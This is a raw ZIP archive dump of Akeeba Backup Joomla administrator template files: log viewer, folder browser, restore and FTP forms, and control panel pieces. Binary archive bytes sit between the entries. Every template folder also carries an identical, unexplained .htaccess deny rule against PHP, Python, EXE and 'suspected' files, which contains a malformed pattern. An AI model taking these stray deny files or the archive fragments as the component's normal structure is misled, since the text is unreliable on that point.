                <?= Text::sprintf('COM_AKEEBABACKUP_LOG_SIZE_WARNING', number_format($this->logSize / (1024 * 1024), 2)) ?>
            </p>
            <a class="btn btn-dark" id="showlog" href="#">
                <?= Text::_('COM_AKEEBABACKUP_LOG_SHOW_LOG') ?>
            </a>
        </div>
    <?php endif ?>

    <div id="iframe-holder" class="border p-0"
		 style="display: <?= $this->logTooBig ? 'none' : 'block' ?>;">
		<?php if(!$this->logTooBig): ?>
            <iframe
                src="index.php?option=com_akeebabackup&view=Log&task=iframe&format=raw&tag=<?= urlencode($this->tag) ?>"
                width="99%" height="400px">
            </iframe>
		<?php endif ?>
    </div>
<?php endif ?>

<?php if( ! (isset($this->logs) && count($this->logs))): ?>
<div class="alert alert-danger">
	<?= Text::_('COM_AKEEBABACKUP_LOG_NONE_FOUND') ?>
</div>
<?php endif ?>PK     \CZ      tmpl/log/raw.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Log\RawView $this */

// -- Get the log's file name
$tag     = $this->tag;
$logFile = Factory::getLog()->getLogFilename($tag);

if (!@is_file($logFile) && @file_exists(substr($logFile, 0, -4)))
{
	/**
	 * Transitional period: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This
	 * addresses this transition.
	 */
	$logFile = substr($logFile, 0, -4);
}

@ob_end_clean();

if (!@file_exists($logFile))
{
	// Oops! The log doesn't exist!
	echo '<p>' . Text::_('COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS') . '</p>';

	return;
}
else
{
	// Allright, let's load and render it
	$fp = fopen($logFile, "r");
	if ($fp === FALSE)
	{
		// Oops! The log isn't readable?!
		echo '<p>' . Text::_('COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE') . '</p>';

		return;
	}

	while (!feof($fp))
	{
		$line = fgets($fp);
		if (!$line) return;
		$exploded = explode("|", $line, 3);
		unset($line);
		if (count($exploded) < 3) continue;
		switch (trim($exploded[0]))
		{
			case "ERROR":
				$fmtString = "<span style=\"color: red; font-weight: bold;\">[";
				break;
			case "WARNING":
				$fmtString = "<span style=\"color: #D8AD00; font-weight: bold;\">[";
				break;
			case "INFO":
				$fmtString = "<span style=\"color: black;\">[";
				break;
			case "DEBUG":
				$fmtString = "<span style=\"color: #666666; font-size: small;\">[";
				break;
			default:
				$fmtString = "<span style=\"font-size: small;\">[";
				break;
		}
		$fmtString .= $exploded[1] . "] " . htmlspecialchars($exploded[2]) . "</span><br/>\n";
		unset($exploded);
		echo $fmtString;
		unset($fmtString);
	}
}

@ob_start();
PK     \Sʉ        tmpl/log/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \b6      tmpl/browser/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Browser\HtmlView $this */

Text::script('COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR', true);

?>
<?php if(empty($this->folder)): ?>
<form action="<?= Route::_('index.php?option=com_akeebabackup&view=Browser&format=html&tmpl=component') ?>"
	  method="post" name="adminForm" id="adminForm">
	<input type="hidden" name="folder" id="folder" value="" />
	<input type="hidden" name="processfolder" id="processfolder" value="0" />
	<input type="hidden" name="<?= Factory::getApplication()->getFormToken() ?>" value="1" />
</form>
<?php endif ?>

<?php if(!(empty($this->folder))): ?>
<div x-class="border border-1 border-primary p-2 pt-3 m-1 mb-3">
	<form action="<?= Route::_('index.php?option=com_akeebabackup&view=Browser&tmpl=component') ?>" method="get" name="adminForm" id="adminForm"
		  class="card card-body mb-3 border-1 border-primary rounded-2 pb-3"
	>

		<div class="d-flex flex-row align-items-center w-100">
			<div class="me-2 mb-1">
				<span title="<?= Text::_($this->writable ? 'COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE' : 'COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE') ?>"
					  class="rounded-2 p-2 text-white <?= $this->writable ? 'bg-success' : 'bg-danger' ?>"
				>
					<span class="<?= $this->writable ? 'fa fa-check-circle' : 'fa fa-ban' ?>"></span>
				</span>
			</div>

			<div class="flex-fill me-2 mb-1">
				<label class="visually-hidden" for="folder">
					Folder
				</label>
				<input type="text" name="folder" id="folder"
					   class="form-control"
					   value="<?= $this->escape($this->folder) ?>" />
			</div>

			<div class="me-2 mb-1">
				<button type="button"
						class="btn btn-primary" id="comAkeebaBrowserGo">
					<span class="fa fa-folder"></span>
					<?= Text::_('COM_AKEEBABACKUP_BROWSER_LBL_GO') ?>
				</button>
			</div>

			<div class="mb-1">
				<button type="button"
						class="btn btn-success" id="comAkeebaBrowserUseThis">
					<span class="fa fa-share"></span>
					<?= Text::_('COM_AKEEBABACKUP_BROWSER_LBL_USE') ?>
				</button>
			</div>
		</div>

		<input type="hidden" name="folderraw" id="folderraw"
		       value="<?= $this->escape($this->folder_raw) ?>" />
		<?= HTMLHelper::_('form.token') ?>
	</form>
</div>

<?php if(count($this->breadcrumbs)): ?>
<nav aria-label="breadcrumb">
	<ul class="breadcrumb p-3 rounded-2" data-bs-theme="light">
		<?php $i = 0 ?>
		<?php foreach($this->breadcrumbs as $crumb): ?>
			<?php $i++; ?>
			<li class="breadcrumb-item <?= ($i < count($this->breadcrumbs)) ? '' : 'active' ?>">
				<?php if($i < count($this->breadcrumbs)): ?>
					<a class="text-decoration-none fw-bold"
					   href="<?= $this->escape(Uri::base() . "index.php?option=com_akeebabackup&view=Browser&tmpl=component&folder=" . urlencode($crumb['folder'])) ?>"
					>
						<?= $this->escape($crumb['label']) ?>
					</a>
				<?php else: ?>
					<span class="fw-bold">
						<?= $this->escape($crumb['label']) ?>
					</span>
				<?php endif ?>
			</li>
		<?php endforeach; ?>
	</ul>
</nav>
<?php endif ?>

<div class="border border-1 border-muted rounded-2 p-2 px-3">
	<div>
		<?php if(count($this->subfolders)): ?>
		<table class="table table-striped">
			<tr>
				<td>
					<a class="btn btn-dark btn-sm p-2 text-decoration-none"
					   href="<?= $this->escape(Uri::base()) ?>index.php?option=com_akeebabackup&view=Browser&tmpl=component&folder=<?= $this->escape($this->parent) ?>">
						<span class="akion-arrow-up-a"></span>
						<?= Text::_('COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT') ?>
					</a>
				</td>
			</tr>
			<?php foreach($this->subfolders as $subfolder): ?>
			<tr>
				<td>
					<a class="akeeba-browser-folder text-decoration-none" href="<?= $this->escape(Uri::base()) ?>index.php?option=com_akeebabackup&view=Browser&tmpl=component&folder=<?= $this->escape($this->folder . '/' . $subfolder) ?>"><?= $this->escape($subfolder) ?></a>
				</td>
			</tr>
			<?php endforeach ?>
		</table>
		<?php else: ?>
			<?php if(!$this->exists): ?>
			<div class="alert alert-danger">
				<?= Text::_('COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS') ?>
			</div>
			<?php elseif(!$this->inRoot): ?>
			<div class="alert alert-warning">
				<?= Text::_('COM_AKEEBABACKUP_BROWSER_ERR_NONROOT') ?>
			</div>
			<?php elseif($this->openbasedirRestricted): ?>
			<div class="alert alert-danger">
				<?= Text::_('COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR') ?>
			</div>
			<?php else: ?>
			<table class="table table-striped">
				<tr>
					<td>
						<a class="btn btn-dark btn-sm p-2 text-decoration-none"
						   href="<?= $this->escape(Uri::base()) ?>index.php?option=com_akeebabackup&view=Browser&tmpl=component&folder=<?= $this->escape($this->parent) ?>">
							<span class="akion-arrow-up-a"></span>
							<?= Text::_('COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT') ?>
						</a>
					</td>
				</tr>
			</table>
			<?php endif // secondary block ?>
		<?php endif // for the count($this->subfolders) block ?>
	</div>
</div>
<?php endif ?>

PK     \Sʉ        tmpl/browser/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \8*g      tmpl/includefolders/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Includefolders\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');
echo $this->loadAnyTemplate('commontemplates/folderbrowser');

?>
<div class="card">
	<div id="ak_list_container" class="card-body">
		<table id="ak_list_table" class="table table-striped">
			<thead>
			<tr>
				<!-- Delete -->
				<td>&nbsp;</td>
				<!-- Edit -->
				<td>&nbsp;</td>
				<!-- Directory path -->
				<th scope="col">
						<span rel="popover" title="<?= Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY') ?>"
							  data-bs-content="<?= Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP') ?>">
							<?= Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY') ?>
						</span>
				</th>
				<!-- Directory path -->
				<th scope="col">
						<span rel="popover" title="<?= Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR') ?>"
							  data-bs-content="<?= Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP') ?>">
							<?= Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR') ?>
						</span>
				</th>
			</tr>
			</thead>
			<tbody id="ak_list_contents">
			</tbody>
		</table>
	</div>
</div>
PK     \Sʉ        tmpl/includefolders/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \_[a
  a
    tmpl/restore/restore.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Log\HtmlView $this */
?>

<div class="alert alert-info">
    <p>
        <?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE') ?>
    </p>
</div>

<div id="restoration-progress" class="card">
	<h4 class="card-header bg-primary text-white">
		<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS') ?>
	</h4>

	<div class="card-body">
		<table class="table table-striped">
			<tr>
				<th scope="row" class="w-25">
					<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD') ?>
				</th>
				<td>
					<span id="extbytesin"></span>
				</td>
			</tr>
			<tr>
				<th scope="row" class="w-25">
					<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED') ?>
				</th>
				<td>
					<span id="extbytesout"></span>
				</td>
			</tr>
			<tr>
				<th scope="row" class="w-25">
					<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED') ?>
				</th>
				<td>
					<span id="extfiles"></span>
				</td>
			</tr>
		</table>

		<div id="response-timer" class="my-3 p-2 border bg-light">
			<div class="text"></div>
		</div>
	</div>
</div>

<div id="restoration-error" class="card" style="display:none">
    <div class="card header bg-danger text-white">
        <h4 class="card-title">
            <?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_FAILED') ?>
        </h4>
	</div>
	<div id="errorframe" class="card-body">
		<p>
			<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO') ?>
		</p>
		<p id="backup-error-message"></p>
	</div>
</div>

<div id="restoration-extract-ok" class="card" style="display:none">
	<h4 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS') ?>
	</h4>
	<div class="card-body">
		<div class="alert alert-success">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2') ?>
			</p>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B') ?>
			</p>
		</div>

		<p class="d-flex">
			<button type="button"
					class="btn btn-primary me-3" id="restoration-runinstaller">
				<span class="fa fa-share"></span>
				<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER') ?>
			</button>

			<button type="button"
					class="btn btn-success" id="restoration-finalize" style="display: none">
				<span class="fa fa-flag-checkered"></span>
				<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE') ?>
			</button>
		</p>
	</div>
</div>
PK     \"  "    tmpl/restore/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Restore\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/ftpconnectiontest');
echo $this->loadAnyTemplate('commontemplates/errormodal');

$cParams = ComponentHelper::getParams('com_akeebabackup');

[$startTime, $duration, $timeZoneText] = $this->getTimeInformation($this->backupRecord);
?>

<form name="adminForm" id="adminForm"
	  action="<?= Route::_('index.php?option=com_akeebabackup&task=Restore.start') ?>"
	  method="post">
    <input type="hidden" name="id" value="<?= (int) $this->id ?>" />
	<?= HTMLHelper::_('form.token') ?>

	<input id="ftp_passive_mode" type="checkbox" checked autocomplete="off" aria-hidden="true" class="visually-hidden">
	<input id="ftp_ftps" type="checkbox" autocomplete="off" aria-hidden="true" class="visually-hidden">
	<input id="ftp_passive_mode_workaround" type="checkbox" autocomplete="off" aria-hidden="true" class="visually-hidden">

	<div class="alert alert-warning">
		<span class="fa fa-exclamation-triangle"></span>
		<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE') ?>
	</div>

	<div class="alert alert-info">
		<h3>
			<?= Text::sprintf('COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION', $this->backupRecord['id']) ?>
		</h3>
		<div class="row mb-1">
			<div class="col-sm-3">
				<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION') ?>
			</div>
			<div class="col-sm-9">
				<?= $this->escape($this->backupRecord['description']) ?>
			</div>
		</div>
		<?php if (!empty($this->backupRecord['comment'])): ?>
		<div class="row mb-1">
			<div class="col-sm-3">
				<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT') ?>
			</div>
			<div class="col-sm-9">
				<?= $this->escape($this->backupRecord['comment']) ?>
			</div>
		</div>
		<?php endif ?>
		<div class="row mb-1">
			<div class="col-sm-3">
				<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_START') ?>
			</div>
			<div class="col-sm-9">
				<?= $startTime ?> <?= $timeZoneText ?>
			</div>
		</div>
	</div>

	<div class="card mb-2">
		<h3 class="card-header">
			<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD') ?>
		</h3>
		<div class="card-body">
			<div class="row mb-3">
				<label for="procengine" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD') ?>
				</label>
				<div class="col-sm-9">
					<?= HTMLHelper::_('select.genericlist', $this->extractionmodes, 'procengine', [
						'list.attr' => [
							'class' => 'form-select'
						]
					], 'value', 'text', $this->ftpparams['procengine']) ?>
					<p class="form-text text-muted">
						<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP') ?>
					</p>
				</div>
			</div>

			<?php if($cParams->get('showDeleteOnRestore', 0) == 1): ?>
				<div class="row mb-3">
					<label for="zapbefore" class="col-sm-3 col-form-label">
						<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE') ?>
					</label>
					<div class="col-sm-9">
						<div class="switcher">
							<input type="radio" id="zapbefore0" name="zapbefore" value="0" checked class="active">
							<label for="zapbefore0"><?= Text::_('JNO') ?></label>
							<input type="radio" id="zapbefore1" name="zapbefore" value="1">
							<label for="zapbefore1"><?= Text::_('JYES') ?></label>
							<span class="toggle-outside"><span class="toggle-inside"></span></span>
						</div>
						<p class="form-text text-muted">
							<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP') ?>
						</p>
					</div>
				</div>
			<?php endif ?>

			<div class="row mb-3">
				<label for="stealthmode" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE') ?>
				</label>
				<div class="col-sm-9">
					<div class="switcher">
						<input type="radio" id="stealthmode0" name="stealthmode" value="0" checked class="active">
						<label for="stealthmode0"><?= Text::_('JNO') ?></label>
						<input type="radio" id="stealthmode1" name="stealthmode" value="1">
						<label for="stealthmode1"><?= Text::_('JYES') ?></label>
						<span class="toggle-outside"><span class="toggle-inside"></span></span>
					</div>
					<p class="form-text text-muted">
						<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP') ?>
					</p>
				</div>
			</div>

			<?php if($this->extension == 'jps'): ?>
				<div class="row mb-3">
					<label for="jps_key" class="col-sm-3 col-form-label">
						<?= Text::_('COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE') ?>
					</label>
					<div class="col-sm-9">
						<input id="jps_key" name="jps_key" value="" type="password" class="form-control" autocomplete="off" />
					</div>
				</div>
			<?php endif ?>

			<div class="row mb-3">
				<div class="col-sm-9 offset-sm-3">
					<button type="button"
							class="btn btn-success btn-lg me-1" id="backup-start">
						<span class="fa fa-history"></span>
						<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_START') ?>
					</button>
					<a href="<?= Route::_('index.php?option=com_akeebabackup&view=Manage') ?>"
					   class="btn btn-outline-danger me-4">
						<span class="fa fa-arrow-left"></span>
						<?= Text::_('JCANCEL') ?>
					</a>
					<button type="button"
							class="btn btn-outline-dark btn" id="testftp">
						<span class="akion-ios-pulse-strong"></span>
						<?= Text::_('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE') ?>
					</button>
				</div>
			</div>
		</div>
	</div>

    <div id="ftpOptions" class="card mb-2">
		<h3 class="card-header">
		    <?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS') ?>
		</h3>
		<div class="card-body">
			<div class="row mb-3">
				<label for="ftp_host" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE') ?>
				</label>
				<div class="col-sm-9">
					<input id="ftp_host" name="" value="<?= $this->escape($this->ftpparams['ftp_host']) ?>" type="text" class="form-control"/>
				</div>
			</div>

			<div class="row mb-3">
				<label for="ftp_port" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE') ?>
				</label>
				<div class="col-sm-9">
					<input id="ftp_port" name="ftp_port" value="<?= $this->escape($this->ftpparams['ftp_port']) ?>" type="text" class="form-control"/>
				</div>
			</div>

			<div class="row mb-3">
				<label for="ftp_user" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE') ?>
				</label>
				<div class="col-sm-9">
					<input id="ftp_user" name="ftp_user" value="<?= $this->escape($this->ftpparams['ftp_user']) ?>" type="text" class="form-control"/>
				</div>
			</div>

			<div class="row mb-3">
				<label for="ftp_pass" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE') ?>
				</label>
				<div class="col-sm-9">
					<input id="ftp_pass" name="ftp_pass" value="<?= $this->escape($this->ftpparams['ftp_pass'])?>" type="password" autocomplete="off" class="form-control"/>
				</div>
			</div>
			<div class="row mb-3">
				<label for="ftp_initial_directory" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE') ?>
				</label>
				<div class="col-sm-9">
					<input id="ftp_initial_directory" name="ftp_root" value="<?= $this->escape($this->ftpparams['ftp_root']) ?>" type="text" class="form-control"/>
				</div>
			</div>
		</div>
    </div>

	<div class="card mb-2">
		<h3 class="card-header">
			<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD') ?>
		</h3>
		<div class="card-body">
			<div class="row mb-3">
				<label for="min_exec" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC') ?>
				</label>
				<div class="col-sm-9">
					<input type="number" min="0" max="180" name="min_exec" id="min_exec" class="form-control"
						   value="<?= (int) $this->getModel()->getState('min_exec', 0) ?>" />
					<p class="form-text text-muted">
						<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP') ?>
					</p>
				</div>
			</div>
			<div class="row mb-3">
				<label for="max_exec" class="col-sm-3 col-form-label">
					<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC') ?>
				</label>
				<div class="col-sm-9">
					<input type="number" min="0" max="180" name="max_exec" id="max_exec" class="form-control"
						   value="<?= (int) $this->getModel()->getState('max_exec', 5) ?>" />
					<p class="form-text text-muted">
						<?= Text::_('COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP') ?>
					</p>
				</div>
			</div>
		</div>
	</div>
</form>
PK     \%hs7  7    tmpl/restore/default.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBABACKUP_VIEW_RESTORE_TITLE">
		<message>
			<![CDATA[COM_AKEEBABACKUP_VIEW_RESTORE_DESC]]>
		</message>
	</layout>
	<fields name="request"
			addfieldpath="/administrator/components/com_akeebabackup/src/Field"
			addfieldprefix="Akeeba\Component\AkeebaBackup\Administrator\Field">
		<fieldset name="request">
			<field name="profileid"
				   type="backupprofiles"
				   show_none="no"
				   default="0"
				   label="COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL"
				   description="COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC"
			/>
		</fieldset>
	</fields>
</metadata>
PK     \Sʉ        tmpl/restore/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Hx  x  !  tmpl/regexfilefilters/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Regexfilefilters\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');

?>
<div class="border row row-cols-lg-auto g-3 align-items-center my-3 mx-1 pb-3">

	<div class="col-12">
		<label>
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR') ?>
		</label>
	</div>
	<div class="col-12">
		<span><?= $this->root_select ?></span>
	</div>

</div>

<div id="ak_list_container">
	<table id="ak_list_table" class="table table-striped">
		<thead>
		<tr>
			<td style="width: 8rem"></td>
			<th class="w-25" scope="col">
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE') ?>
			</th>
			<th scope="col">
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM') ?>
			</th>
		</tr>
		</thead>
		<tbody id="ak_list_contents">
		</tbody>
	</table>
</div>PK     \Sʉ        tmpl/regexfilefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \      tmpl/controlpanel/profile.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

/**
 * Call this template with:
 * [
 * 	'returnURL' => 'index.php?......'
 * ]
 * to set up a custom return URL
 */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$this->getDocument()->getWebAssetManager()
	->usePreset('choicesjs')
	->useScript('webcomponent.field-fancy-select');
?>
<div class="akeeba-panel">
	<form action="<?= Route::_('index.php?option=com_akeebabackup&task=Controlpanel.Switchprofile') ?>" method="post"
		  name="switchActiveProfileForm" id="switchActiveProfileForm"
		  class="akeebabackup-profile-switch-container d-md-flex flex-md-row justify-content-md-evenly align-items-center border border-1 bg-light border-rounded rounded-2 mt-1 mb-2 p-2">
		<?php if(isset($returnURL)): ?>
		<input type="hidden" name="returnurl" value="<?= $this->escape($returnURL) ?>" />
		<?php endif ?>
		<?= HTMLHelper::_('form.token') ?>

		<div class="m-2">
			<label>
				<?= Text::_('COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE') ?>: #<?= (int)$this->profileId ?>
			</label>
		</div>
		<div class="flex-grow-1">
			<joomla-field-fancy-select
					search-placeholder="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID') ?>"
			><?=
				HTMLHelper::_('select.genericlist', $this->profileList, 'profileid', [
						'list.select' => $this->profileId,
						'id' => 'comAkeebaControlPanelProfileSwitch',
				])
			?></joomla-field-fancy-select>
		</div>

		<div class="m-2">
			<button type="button"
					class="btn btn-primary btn-sm d-xs-none d-sm-none" type="submit">
				<span class="akion-forward"></span>
				<?= Text::_('COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON') ?>
			</button>
		</div>
	</form>
</div>
PK     \׽      tmpl/controlpanel/oneclick.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

?>
<div class="card mb-2">
	<h3 class="card-header bg-primary text-white">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP') ?>
	</h3>

	<div class="card-body">
		<div class="akeeba-cpanel-container d-flex flex-row flex-wrap align-items-stretch">
			<?php foreach($this->quickIconProfiles as $qiProfile): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-success border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Backup&autostart=1&profileid=<?= (int) $qiProfile->id ?>&<?= Factory::getApplication()->getFormToken() ?>=1">
					<div class="bg-success text-white d-block text-center p-3 h2">
						<span class="fa fa-play"></span>
					</div>
					<span><?= $this->escape($qiProfile->description) ?></span>
				</a>
			<?php endforeach ?>
		</div>
	</div>

</div>
PK     \m^(-  -    tmpl/controlpanel/warnings.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Application\ApplicationHelper;
